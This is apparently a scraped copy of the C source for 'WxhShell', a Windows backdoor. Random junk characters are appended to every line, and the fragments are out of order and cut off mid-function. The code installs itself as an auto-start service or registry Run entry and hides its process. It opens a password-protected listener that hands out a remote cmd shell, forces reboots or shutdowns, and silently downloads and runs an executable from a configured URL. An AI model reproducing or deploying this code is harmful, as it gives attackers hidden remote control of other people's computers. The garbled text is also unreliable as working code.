    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i 2n66d  
    if(Boot(SHUTDOWN)) `bcCj~j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c$~J7e6$  
    else { x}H%NzR  
    closesocket(wsh); m9Hdg^L  
    ExitThread(0); UszR. Z  
    } XMm (D!6  
    break; vL~j6'  
    }  ){xMMQ5  
  // 获取shell & 6~AY :0r  
  case 's': { G-W(giF;NO  
    CmdShell(wsh); uG 7ll5Yy  
    closesocket(wsh); :hUt7/3c  
    ExitThread(0); 9Q:}VpT~nG  
    break; 8M7pc{  
  } 2jH&@g$cl;  
  // 退出 9H,Ec,.  
  case 'x': { uU#e54^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D]WU,a[$Bc  
    CloseIt(wsh); q=_tjg  
    break; xI^nA2g  
    } z|sR `]K  
  // 离开 Fn*)!,)  
  case 'q': { PZSi}j/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5vjtF4}7!  
    closesocket(wsh); xZp`Ke!  
    WSACleanup(); 7G9o%!D5  
    exit(1); o]m56  
    break; BV6 U -  
        } LKI2R_|n  
  } M;1B}x@  
  } Ub<^;Du5  
<!I^xo [  
  // 提示信息 dJUI.!hv;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `&qeSEs\  
} ?\Lf=[  
  } b'TkYa^  
n]J;BW& Av  
  return; 7wwlZ;w  
} !-Md+I_  
n<66 7 <  
// shell模块句柄 ,: 4+hJ<q  
int CmdShell(SOCKET sock) C}cYG  
{ R#33AC CX  
STARTUPINFO si; F)4;:".zna  
ZeroMemory(&si,sizeof(si)); s+E-M=d0e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #;9n_)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !UW{xHu  
PROCESS_INFORMATION ProcessInfo; 6yPh0n  
char cmdline[]="cmd"; WU<C7   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r[y3@SE5  
  return 0; bAm ,gP  
} lO dw H"  
TH#5j.uUs  
// 自身启动模式 %<Kw  
int StartFromService(void) \A/??8cgXs  
{ e8$OV4X  
typedef struct D}7G|gX1  
{ + hKH\]  
  DWORD ExitStatus; l?swW+ x\  
  DWORD PebBaseAddress; O5?3 nYHa  
  DWORD AffinityMask; R|O."&CAB  
  DWORD BasePriority; PvB-Cqc  
  ULONG UniqueProcessId; d@,3P)?  
  ULONG InheritedFromUniqueProcessId; LwS>jNJx  
}   PROCESS_BASIC_INFORMATION; M>"J5yqR  
8nOent0a  
PROCNTQSIP NtQueryInformationProcess; XoqmT/P  
?^W`7HF%0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0w<qj T^U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xlU:&=|  
=}Xw}X+[WY  
  HANDLE             hProcess; xyc`p[n &  
  PROCESS_BASIC_INFORMATION pbi; tA6x  
@$%[D`Wa<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zi~-m]9U  
  if(NULL == hInst ) return 0; o"./  
/6a617?9J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b_xGCBC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); / |z_z%=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nPo YjQi  
E< Ini'od[  
  if (!NtQueryInformationProcess) return 0; &Eqa y'  
$7JWA9#N!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ums*EKjs97  
  if(!hProcess) return 0; mzh7E[S_,i  
Wo8.tu-2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zfub+A  
hh ynB^o  
  CloseHandle(hProcess); +_E 96`P  
tOf18V{a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R2!_)Rpf  
if(hProcess==NULL) return 0; NA9N#;  
5fVm392+  
HMODULE hMod; #K _E/~  
char procName[255]; zM*PN|/%sH  
unsigned long cbNeeded; CH3bpZv  
h|S6LgB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _/ Uer }  
_ BUD~'Q5  
  CloseHandle(hProcess); ( [m[<  
#+]-}v3  
if(strstr(procName,"services")) return 1; // 以服务启动 9#A&Qvyywg  
4x%R4tk  
  return 0; // 注册表启动 |37y ="  
} bTN0n  
?3) IzzO  
// 主模块 TB  
int StartWxhshell(LPSTR lpCmdLine) /WX 0}mWu  
{ D%NVqk|  
  SOCKET wsl; BavGirCp  
BOOL val=TRUE; {s/u [T_D2  
  int port=0; Gv uX"J  
  struct sockaddr_in door; w~I;4p~(N  
dN)!B!*aI  
  if(wscfg.ws_autoins) Install(); &!pG1Fp9  
ZyQ+}rO  
port=atoi(lpCmdLine); .qjdi`v  
(fJ.o-LQ  
if(port<=0) port=wscfg.ws_port; rxVJB3P9  
W n43TSs-  
  WSADATA data; a="\?L5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q VcZF7  
L=9w 3VXS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ivue"_i;!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'HdOW[3o  
  door.sin_family = AF_INET; _YM]U`*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;YK{[$F  
  door.sin_port = htons(port); Sx^4Y\\  
4`mF6%UC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { onOvE Y|R  
closesocket(wsl); +GqV9x 8  
return 1; $NG|z0  
} tf+5@Zf]4  
+W-,74A  
  if(listen(wsl,2) == INVALID_SOCKET) { IFg(Ze~  
closesocket(wsl); +S3r]D3v/  
return 1; Wk"\aoX"E  
} 5QoU&Hv  
  Wxhshell(wsl); 4$=ATa;x-  
  WSACleanup(); bBC!fh!L"  
c6 tB9b  
return 0; |f.R]+cH  
}*ZOD1j  
} ,{_;q:  
-P5M(Rt  
// 以NT服务方式启动 O%n=n3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cA8"Ft{P)  
{ H LnizE  
DWORD   status = 0; (2vf <x  
  DWORD   specificError = 0xfffffff; lx!9KQAM*  
c[xH:$G?Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ao/KB_4f*Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aAX(M=3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9WH  
  serviceStatus.dwWin32ExitCode     = 0; )]?"H  
  serviceStatus.dwServiceSpecificExitCode = 0; |{8eoF  
  serviceStatus.dwCheckPoint       = 0; LBkAi(0rd  
  serviceStatus.dwWaitHint       = 0; Vg+jF!\7  
iKu~o.yy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  @aC2]  
  if (hServiceStatusHandle==0) return; `vijd(a?v  
~Ue t)y<  
status = GetLastError(); oy) 'wb~  
  if (status!=NO_ERROR) Pd[&&!+gV  
{ itg PG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Q5Z<\  
    serviceStatus.dwCheckPoint       = 0; * ydU3LG7  
    serviceStatus.dwWaitHint       = 0; Vu`O%[Q/  
    serviceStatus.dwWin32ExitCode     = status; BVt)~HZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; uWSfr(loX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /`j~r;S  
    return; WF.y"{6>  
  } {hLS,Me  
)G">7cg;t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oNfNe^/T  
  serviceStatus.dwCheckPoint       = 0; c G`R\ $  
  serviceStatus.dwWaitHint       = 0; sP+ZE>7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GGY WvGE+  
} *A,h ^  
nd 5w|83  
// 处理NT服务事件,比如:启动、停止  !AGjiP$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E2D}F@<]  
{ h 'F\9t  
switch(fdwControl) ny. YkN2  
{ !VfP#B6.  
case SERVICE_CONTROL_STOP: Cy~Pfty  
  serviceStatus.dwWin32ExitCode = 0; O\(0{qu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @%5$x]^  
  serviceStatus.dwCheckPoint   = 0; ?oc#$fcQ~  
  serviceStatus.dwWaitHint     = 0; t*&O*T+fgy  
  { >**7ck  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+N%A] 2  
  } |Ir&C[QS{y  
  return; )^C w  
case SERVICE_CONTROL_PAUSE: laQM*FLg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X8Xw'  
  break; 6IVa(;  
case SERVICE_CONTROL_CONTINUE: ;3D[[*n9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,/qS1W(  
  break; D\Nhq Vw  
case SERVICE_CONTROL_INTERROGATE: A{!D7kwTz~  
  break; !P6\-.  
}; v/Z!Wp1LV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\?)O+J!  
} UUlrfur~  
j0L A  
// 标准应用程序主函数 A;4O,p@   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~?m vV`30&  
{ -I'@4\<  
oA _,jsD4  
// 获取操作系统版本 }h6 N.vz  
OsIsNt=GetOsVer(); {bSi3oI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B[]v[q<  
?G#T6$E8  
  // 从命令行安装 5DHFxym'  
  if(strpbrk(lpCmdLine,"iI")) Install(); /kAu&}  
`qjiC>9  
  // 下载执行文件 pV3o\bk!  
if(wscfg.ws_downexe) { V ?10O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fFHT`"bD:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~;f,Ad`Q  
} 2 f8Cs$Opb  
"Zh6j)[o  
if(!OsIsNt) { c&Mci"n j0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Iaq7<$XU  
HideProc(); k lRS:\dW  
StartWxhshell(lpCmdLine); U(.3[x  
} 8?L7h\)-  
else o+H;ZGT5H  
  if(StartFromService()) \eD{bD  
  // 以服务方式启动 o771q}?&`  
  StartServiceCtrlDispatcher(DispatchTable); bGl5=`  
else IXmtjRv5  
  // 普通方式启动 H'L ~8>  
  StartWxhshell(lpCmdLine); )<D(Mb 2p|  
r&G=}ZMO  
return 0; }#[MV+D  
} 7yU<!p?(  
?0Qm  
)1>fQ9   
#8!xIy  
=========================================== f2sv$#'  
-m&8SN  
m#E%, rT  
%lw!4Z\gg  
S z3@h"  
FQbF)K~e  
" +$eEZ;4  
Yxal%  
#include <stdio.h> USKa6<:{W  
#include <string.h> 2qb,bp1$  
#include <windows.h> ;xnJ+$//U  
#include <winsock2.h> kp~@Ub @O3  
#include <winsvc.h> 5z8!Nmb/  
#include <urlmon.h> BPoY32d"_  
A 'Q nL  
#pragma comment (lib, "Ws2_32.lib") >g+ogwZ  
#pragma comment (lib, "urlmon.lib") xwwy9:ze*l  
J~0_  
#define MAX_USER   100 // 最大客户端连接数 >-s\$8En'  
#define BUF_SOCK   200 // sock buffer *Ge2P3  
#define KEY_BUFF   255 // 输入 buffer D (MolsKc?  
?lh `>v  
#define REBOOT     0   // 重启 6#/Riu%  
#define SHUTDOWN   1   // 关机 L}bS"=B[&W  
?jywW$   
#define DEF_PORT   5000 // 监听端口 < c[+60p"  
#6[7q6{ 4  
#define REG_LEN     16   // 注册表键长度 ,&II4;F  
#define SVC_LEN     80   // NT服务名长度 !<wM?Q:  
MCOz-8@|Y  
// 从dll定义API =R08B)yR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rw$>()}H8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $J>J@4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n\Z& sc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]%yph3C  
FbMX?T"yH  
// wxhshell配置信息 dF$Fd{\4^  
struct WSCFG { $Ik\^:-  
  int ws_port;         // 监听端口 /( /)nYAjk  
  char ws_passstr[REG_LEN]; // 口令 By|y:  
  int ws_autoins;       // 安装标记, 1=yes 0=no c=U1/=R5  
  char ws_regname[REG_LEN]; // 注册表键名 C F2*W).+  
  char ws_svcname[REG_LEN]; // 服务名 nVqFCBB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k_rtsN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;%r#p v~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QRs!B!Fn0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jP{LMmV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C3Mr)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5B [kZ?>  
a'f0Wv0%"  
}; @za X\  
"o +" Jd  
// default Wxhshell configuration #C+""qm  
struct WSCFG wscfg={DEF_PORT, 0hTv0#j#  
    "xuhuanlingzhe", TI{W(2O*  
    1, FFH9 $>A  
    "Wxhshell", 2k,!P6fgl  
    "Wxhshell", Mf0XQ3n`H  
            "WxhShell Service", y{~l&zrl  
    "Wrsky Windows CmdShell Service", ~/hyf]*j  
    "Please Input Your Password: ", M@e&uz!Rx  
  1, LQ5WS  
  "http://www.wrsky.com/wxhshell.exe", k T$yHB #  
  "Wxhshell.exe" ZyBNo]  
    }; rz c}2I  
o#X|4bES  
// 消息定义模块 _ri1RK,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1LTl=tS#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;~Eb Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $:I~y| !1  
char *msg_ws_ext="\n\rExit."; @D!KFJ  
char *msg_ws_end="\n\rQuit."; 0ad -4  
char *msg_ws_boot="\n\rReboot..."; Jsi [,|G  
char *msg_ws_poff="\n\rShutdown..."; $gsn@P>"  
char *msg_ws_down="\n\rSave to "; rs$sAa*f  
3lc'(ts %  
char *msg_ws_err="\n\rErr!"; xU/Eu;m  
char *msg_ws_ok="\n\rOK!"; w(kN0HD  
;m{*iKL6{  
char ExeFile[MAX_PATH]; yM%,*VZ  
int nUser = 0; F&}>2QiL  
HANDLE handles[MAX_USER]; uJ<sa;  
int OsIsNt; ;H5H7ezV  
3%Jg' Tr+  
SERVICE_STATUS       serviceStatus; d[+xLa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [4:_6vd7X  
V#;6 <H"  
// 函数声明 H R$\jJ  
int Install(void); &P>wIbE  
int Uninstall(void); k> I;mEV  
int DownloadFile(char *sURL, SOCKET wsh); ' bio: 1  
int Boot(int flag); \/C-e  
void HideProc(void); @`<vd@  
int GetOsVer(void); Ea@N:t?(8=  
int Wxhshell(SOCKET wsl); KDP7u  
void TalkWithClient(void *cs); [\NyBc  
int CmdShell(SOCKET sock); /esSM~*H  
int StartFromService(void); >#z*gCO5,  
int StartWxhshell(LPSTR lpCmdLine); pEIc ?i*  
rf"%D<bb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); unqX<6hu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f $MVgX  
<>,V> k|  
// 数据结构和表定义 eiB5 8b3  
SERVICE_TABLE_ENTRY DispatchTable[] = mA:NAV $!s  
{ `X8AM=  
{wscfg.ws_svcname, NTServiceMain}, ^\kv> WBE  
{NULL, NULL} {l= !  
}; a%>p"4WL  
Uv,_VS(  
// 自我安装 D'e'xU  
int Install(void) "=I ioY  
{ lJ!+n<K+  
  char svExeFile[MAX_PATH]; {uEu ^6a5  
  HKEY key; J2 _DP  
  strcpy(svExeFile,ExeFile); T_CYSS|fX  
s$e0;C!D  
// 如果是win9x系统,修改注册表设为自启动 L 0k K'n?  
if(!OsIsNt) { !n4p*<Y6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kQXtO)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gio'_X  
  RegCloseKey(key); ^YzFEu$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6dO )]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kKnz F  
  RegCloseKey(key); YK#bzu ,!  
  return 0; }?xu/C  
    } 1,fjdd8OM;  
  } afRUBjs  
} .3k"1I '\  
else { _A%} >:q  
R*I{?+  
// 如果是NT以上系统,安装为系统服务 VJ P]Jy_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jJ-j   
if (schSCManager!=0) b@@`2O3"  
{ 6R% I)  
  SC_HANDLE schService = CreateService (NUwkAO M}  
  ( 'M2Jw8i  
  schSCManager, UX=JWb_uGm  
  wscfg.ws_svcname, 'S<ebwRd=  
  wscfg.ws_svcdisp, TfK$tTkM  
  SERVICE_ALL_ACCESS, N?0T3-/K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5!,`LM9  
  SERVICE_AUTO_START, w@Ut[ ;6^  
  SERVICE_ERROR_NORMAL, H"f%\'  
  svExeFile, ?g2Wu0<  
  NULL, Gc}d#oo*k  
  NULL, aloP@U/\Sn  
  NULL, D^P_3 B+  
  NULL, w~sr2;rp<  
  NULL PNgj 8J4  
  ); ZiodJ"r  
  if (schService!=0) X<J NwjM%  
  { FQSepUl  
  CloseServiceHandle(schService); )y-y-B=+T  
  CloseServiceHandle(schSCManager); v0`E lkaN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hp6S *d  
  strcat(svExeFile,wscfg.ws_svcname); /m%Y.:g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1cWUPVQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jLc4D'  
  RegCloseKey(key); XPE{]4 g  
  return 0; */ZrZ^?o  
    } U.UN=uv_  
  } 2'W3:   
  CloseServiceHandle(schSCManager); nE)?P*$3Z  
} g9I2 e<;o  
} q?'*T?|  
!Y/$I?13Z  
return 1; !q!.OQ  
} 1t/#ZT!X/  
& D4'hL3  
// 自我卸载 %{s<h6{R  
int Uninstall(void) =xFw4 D9  
{ 62Yi1<kV@  
  HKEY key; 9r!psRA:`)  
<<K GS  
if(!OsIsNt) { EXUjdJs"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 rkIK  
  RegDeleteValue(key,wscfg.ws_regname); IBr?6_\%"4  
  RegCloseKey(key); 0m_c43+^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k2muHKBlk  
  RegDeleteValue(key,wscfg.ws_regname); n%? bMDS  
  RegCloseKey(key); HkFoyy  
  return 0; gy/z;fB  
  } yU3fM?a  
} uqPagt<  
} S1NM9xHJ  
else { !T02@e/  
4v cUHa|4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DE:FWD<}  
if (schSCManager!=0) _n(O?M&x  
{ 'ek7e.x|V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oVyOiWo\Z  
  if (schService!=0) Z?Y14L~%  
  { Hzh?w!Ow  
  if(DeleteService(schService)!=0) { ,-#8/9ts  
  CloseServiceHandle(schService); B$"CoLC7+  
  CloseServiceHandle(schSCManager); F ?xbVN  
  return 0; _U;z@  
  } >p Y0f }  
  CloseServiceHandle(schService); 9 m MPkgc  
  } ^2}0lP|  
  CloseServiceHandle(schSCManager); H->J.5~,K  
} V9qA.NV2  
} ,[ &@?  
0q(}nv  
return 1; ZW n j-  
} JlJy3L8L  
+ DFG762  
// 从指定url下载文件 k\X1`D}R  
int DownloadFile(char *sURL, SOCKET wsh) sui3(wb  
{ q"4{GCavN  
  HRESULT hr; <5 G+(vP  
char seps[]= "/"; #-kG\}  
char *token; p =_K P9  
char *file; ;HRIB)wF  
char myURL[MAX_PATH]; `8xt!8Z$  
char myFILE[MAX_PATH]; :it52*3=  
] P;Ng=a  
strcpy(myURL,sURL); Uc]S7F#  
  token=strtok(myURL,seps); X-O/&WRYQ  
  while(token!=NULL) CEjMHP$=  
  { fvg jqiT  
    file=token; M q;m+{B  
  token=strtok(NULL,seps); H@o 3u>}  
  } Ha{#  
xG i,\K\:  
GetCurrentDirectory(MAX_PATH,myFILE); CL oc  
strcat(myFILE, "\\"); +@>K]hdr  
strcat(myFILE, file); 9T#d.c24  
  send(wsh,myFILE,strlen(myFILE),0); o_hk!s^4m  
send(wsh,"...",3,0); =NxT9$V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zsnXPRF  
  if(hr==S_OK) y6tzmyg  
return 0; _Vr>/f  
else &|'k)6Rx  
return 1; qg6283'?  
ousvsP%'  
} n 5h4]u  
Lq.aM.&;#  
// 系统电源模块 ibo{!>m  
int Boot(int flag) U {Xg#UN  
{ ^\:"o  
  HANDLE hToken; JG-\~'9  
  TOKEN_PRIVILEGES tkp; N9 yL(2  
gOaL4tu  
  if(OsIsNt) { H;5FsKIF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bC{1LY0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r kOLTi[$  
    tkp.PrivilegeCount = 1; 1,q&A RTS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jA9&hbQuL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ak]:ir`o  
if(flag==REBOOT) {  <yE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CqGi 2<2  
  return 0; &' E(  
} |E)-9JSRy  
else { 2Ur9*#~kGp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~kM# lh7At  
  return 0; @*kQZRGK7  
} M-Gl".*f  
  } KneCMFy  
  else { uM|*y-4  
if(flag==REBOOT) { L} r#KfIb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _qwKFC  
  return 0; ?QuD:v ck  
} hJ[Z~PC\T0  
else { !Wn^B|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G}ZJ}5h  
  return 0; ;Gf,$dbWn  
} 3Q'Q %2  
} Te&F2`vo  
fHK`u'  
return 1; #qqIOjS^w  
} I6!~(ND7  
?86q8E3;&  
// win9x进程隐藏模块 A"Q6GM2;Io  
void HideProc(void) LDilrG)  
{ ~wtl\-cY  
iK&s_}i:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "SGq$3D  
  if ( hKernel != NULL ) );X &J:-l+  
  { -L=aZPW`M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >9F&x>~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UbDRzum  
    FreeLibrary(hKernel); $2lrP]`>j.  
  } <7-Qn(m,  
zF'LbQz0[  
return; Lh eOGM  
} DL$O274uZ  
RE~9L5i5  
// 获取操作系统版本 `<}Q4p  
int GetOsVer(void) k0[b4cr`  
{ ECq(i(  
  OSVERSIONINFO winfo; _J' _9M?>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vu6$84>-,  
  GetVersionEx(&winfo); A{3VTe4TV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3.[ fTrzJ  
  return 1; J0xV\O !e  
  else )?es3Ehqq  
  return 0; jhU'UAn  
} Vqr#%. N  
xw[KP [(  
// 客户端句柄模块 4}C^s\?z  
int Wxhshell(SOCKET wsl) ,|:TML  
{ `v;9!ReZV  
  SOCKET wsh; ,ddoII  
  struct sockaddr_in client; ;h|zNx0  
  DWORD myID; !h\>[O  
wrtJ8O(  
  while(nUser<MAX_USER) fjD/<`}v  
{ YVSAYv_ZG}  
  int nSize=sizeof(client); ~< ~PaP$=\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); njhDrwN  
  if(wsh==INVALID_SOCKET) return 1; O}$@|w(8;  
V5ve  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ST'eJ5P7!5  
if(handles[nUser]==0) ^ud-N;]MKs  
  closesocket(wsh); LmCr[9/  
else =EE>QM  
  nUser++; R<* c   
  } k9]M=eO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H] i.\2z  
b A/,{R  
  return 0; /=o~7y  
} Pn&!C*,  
G)<NzZo  
// 关闭 socket x?5D>M/Y  
void CloseIt(SOCKET wsh) {Y0Uln5u  
{ 1#]0\Y(  
closesocket(wsh); :.2Tcq  
nUser--; F?APDGAN  
ExitThread(0); ..Q$q2.  
} )1E[CIaXK  
qe M`z  
// 客户端请求句柄 l:' 0  
void TalkWithClient(void *cs) ,q[aV 6kO  
{ \&tv *  
c4\Nuy  
  SOCKET wsh=(SOCKET)cs; abs\Ku9  
  char pwd[SVC_LEN]; H@-txO1`::  
  char cmd[KEY_BUFF]; g3fxf(iY(  
char chr[1]; c%?31 t  
int i,j; hU: 9zLe  
`=}w(V8pc  
  while (nUser < MAX_USER) { )uG7 DR  
y~16o   
if(wscfg.ws_passstr) { Z{Si`GA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SK6?;_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F},#%_4  
  //ZeroMemory(pwd,KEY_BUFF); Hj\iI p  
      i=0; . N:& {$o:  
  while(i<SVC_LEN) {  ~OdE!!  
-MA/:EB  
  // 设置超时 9V]{q  
  fd_set FdRead; Vn7FbaO^  
  struct timeval TimeOut; E2hy%y9Tp  
  FD_ZERO(&FdRead); NA=I7I@  
  FD_SET(wsh,&FdRead); !PAuMj)P  
  TimeOut.tv_sec=8; 6!QY)H^j9,  
  TimeOut.tv_usec=0; /=y _ #l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( vO\h8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @^O+ulLJ,]  
}KEL{VUX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2cnyq$4k  
  pwd=chr[0]; j'\!p):H  
  if(chr[0]==0xd || chr[0]==0xa) { f*(W%#*|  
  pwd=0; Q/u2Q;j>  
  break; 0`=>/Wr39  
  } &1Zq C;  
  i++; xAZ-_}'tW  
    }  _klT  
e-@.+ f2CC  
  // 如果是非法用户,关闭 socket sWG_MEbu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W`vgH/lSnZ  
} _"4u?C#  
d_ [l{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f+WN=-F\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jPDk~|  
k Q Sx65  
while(1) { R&v V! d  
YA?46[:  
  ZeroMemory(cmd,KEY_BUFF); $;k2b4u  
2#y-3y<G  
      // 自动支持客户端 telnet标准   Qp?+G~*  
  j=0; 9/yE\p .  
  while(j<KEY_BUFF) { KscugX*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PfrzrRahb  
  cmd[j]=chr[0]; T09'qB  
  if(chr[0]==0xa || chr[0]==0xd) { QDHTP|2e  
  cmd[j]=0; oh?@[U  
  break; mdNIC  
  } s MZ90Q$  
  j++; m-wK8]t9  
    } 9 SBVp 6'  
_Hp[}sv4)  
  // 下载文件 G\PFh&  
  if(strstr(cmd,"http://")) { ]YF_c,Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y\C_HCU H  
  if(DownloadFile(cmd,wsh)) $sfDtnRy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *vqr+jr9  
  else 0t^Tm0RzH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eBN!!Y:7  
  } }%}yOLo:  
  else { X<8   
O8mmS!  
